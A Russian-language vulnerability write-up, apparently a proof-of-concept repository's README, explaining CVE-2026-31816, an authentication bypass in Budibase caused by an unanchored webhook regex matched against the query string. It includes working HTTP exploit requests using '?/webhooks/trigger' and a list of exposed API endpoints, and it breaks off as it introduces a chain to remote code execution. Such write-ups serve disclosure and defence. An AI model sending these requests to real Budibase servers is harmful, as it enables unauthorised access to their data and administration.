
CVE-2026-31816 — Обход аутентификации Budibase с переходом к RCE
CVE-2026-31816 — критическая уязвимость обхода аутентификации и авторизации, затрагивающая Budibase.
Уязвимость существует в серверном промежуточном ПО авторизации, отвечающем за защиту конечных точек API. Budibase пытается идентифицировать легитимные конечные точки вебхуков с помощью незакреплённого регулярного выражения и проверяет это выражение против ctx.request.url из Koa.
Поскольку ctx.request.url содержит строку запроса (query string), злоумышленник может внедрить похожий на вебхук путь в компонент запроса в остальном не связанного API-запроса.
Например:
/api/integrations?/webhooks/trigger
Запрос на самом деле не направлен на конечную точку вебхука. Однако уязвимая проверка может интерпретировать /webhooks/trigger как доказательство того, что запрос является легитимным запросом вебхука, и разрешить продолжение выполнения без обычных проверок аутентификации и авторизации.
NVD описывает проблему как позволяющую полностью неаутентифицированному удалённому злоумышленнику получать доступ к серверным конечным точкам API путём добавления шаблона пути вебхука к URL.
| Поле | Значение |
|---|---|
| CVE | CVE-2026-31816 |
| Производитель | Budibase |
| Продукт | Budibase |
| Затронутые версии | <= 3.31.4 |
| Степень критичности | Критическая |
| CVSS v3.1 | 9.1 |
| Вектор CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-74 |
| Вектор атаки | Сеть |
| Требуемые привилегии | Отсутствуют |
| Взаимодействие с пользователем | Отсутствует |
| Требуется аутентификация | Нет |
NVD указывает версии Budibase вплоть до 3.31.4 как затронутые и присваивает оценку CVSS 3.1 — 9.1.
Уязвимая логика сосредоточена вокруг обнаружения вебхуков, выполняемого до обычной авторизации.
В охранном бюллетене задокументирован код, концептуально эквивалентный следующему:
const WEBHOOK_ENDPOINTS = new RegExp(
[
"webhooks/trigger",
"webhooks/schema",
"webhooks/discord",
"webhooks/ms-teams"
].join("|")
)
export function isWebhookEndpoint(ctx) {
return WEBHOOK_ENDPOINTS.test(ctx.request.url)
}
Проблема заключается в сочетании двух особенностей поведения:
ctx.request.url содержит строку запроса.Это означает, что выражению не обязательно соответствовать фактическому пути запроса.
Такой запрос, как:
/api/some/protected/endpoint?/webhooks/trigger
всё равно содержит строку:
/webhooks/trigger
внутри проверяемого URL.
Промежуточное ПО авторизации впоследствии обрабатывает запрос как запрос вебхука и достигает конечной точки без выполнения обычного процесса авторизации.
Охранный бюллетень Budibase прямо указывает на это как на основополагающий дефект и отмечает, что обход пропускает аутентификацию, авторизацию, проверки ролей и защиту CSRF.
Ожидается, что обычный запрос к защищённой конечной точке API будет проходить через уровень аутентификации.
Например:
GET /api/integrations HTTP/1.1
Host: target.example
Connection: close
К уязвимому экземпляру вместо этого можно обратиться с использованием шаблона вебхука в строке запроса:
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: target.example
Connection: close
Важной частью является:
?/webhooks/trigger
Сама конечная точка не изменилась:
/api/integrations
Была изменена только строка запроса.
Публичный бюллетень Budibase демонстрирует этот точный приём против /api/integrations и нескольких других серверных конечных точек.
Безопасный способ проверить обход аутентификации в контролируемой лаборатории — сравнить обычный запрос с вариантом, содержащим вебхук в строке запроса.
GET /api/integrations HTTP/1.1
Host: 127.0.0.1:10000
Connection: close
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Connection: close
Уязвимый сервер может обработать второй запрос без проверок аутентификации, которые в обычном случае защищают конечную точку.
Опубликованный PoC аналогичным образом использует:
/api/integrations?/webhooks/trigger
в качестве простой проверки уязвимости.
Ниже показана структура аутентифицированного API-запроса, преобразованного в неаутентифицированный запрос путём добавления шаблона вебхука.
POST /api/ta_users/search?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Content-Type: application/json
x-budibase-app-id: <TARGET_WORKSPACE_ID>
Connection: close
Content-Length: 12
{"query":{}}
Официальный бюллетень Budibase описывает эту конечную точку как одну из затронутых поверхностей API.
Другие серверные конечные точки, задокументированные как достижимые через тот же дефект, включают:
/api/tables
/api/datasources
/api/automations
/api/roles
/api/integrations
/api/views
/api/plugins
Ключевое наблюдение заключается в том, что уязвимость не привязана к какому-то одному конкретному ресурсу приложения. Затронутое промежуточное ПО авторизации находится перед широким набором серверных API.
Обход аутентификации может стать значительно более серьёзным в сочетании с чувствительным API, способным принимать управляемый злоумышленником функционал.
PoC в этом репозитории выстраивает цепочку эксплуатации уязвимости следующим образом: